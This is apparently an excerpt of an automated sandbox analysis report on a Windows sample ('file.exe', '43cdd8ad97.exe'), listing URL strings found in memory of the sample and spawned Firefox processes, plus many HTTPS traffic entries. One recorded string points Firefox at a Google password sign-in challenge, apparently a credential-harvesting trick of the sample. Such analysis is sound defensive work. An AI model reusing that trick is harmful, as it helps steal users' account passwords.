Source: file.exe, 00000000.00000003.2538797213.0000000023838000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2917816262.00000000056CE000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3134835171.00000000058F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3103409848.00000209F6ED5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3184901033.00000209F6D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2643149920.0000000000B54000.00000040.00000001.01000000.00000003.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0D53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: file.exe, 00000000.00000003.2538797213.0000000023838000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2917816262.00000000056CE000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3134835171.00000000058F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3103409848.00000209F6ED5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2643149920.0000000000B54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: firefox.exe, 00000021.00000002.3149219844.00000209F16DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgmodificationTime
Source: firefox.exe, 00000021.00000002.3206895801.00000209F8D60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3230684822.00001E4A8211C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3206895801.00000209F8DA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD56E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F6979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3076795056.00000209FD56E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000021.00000002.3230684822.00001E4A8211C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F6979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3053785192.00000209FD5E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3155566727.00000209F32AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3206895801.00000209F8DA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000021.00000002.3206895801.00000209F8DA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0D09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092654216.00000209F7C75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3149219844.00000209F1611000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3215510453.00000209FD45A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3222392437.00000209FD88C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3200062745.00000209F7C4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000021.00000002.3206895801.00000209F8D7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3059991476.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3200062745.00000209F7CED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3169435535.00000209F5903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092654216.00000209F7CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092654216.00000209F7C75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3138827769.00000209E5309000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3061307516.00000209F7EF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3155566727.00000209F32F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3200062745.00000209F7C4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD21F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198999420.00000209F7BD3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F69E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001F.00000002.2996324242.000001E4D2637000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3002330414.000001AB71537000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3138827769.00000209E5309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000021.00000002.3231930703.0000262E8FF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comZ

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50210
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50221
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
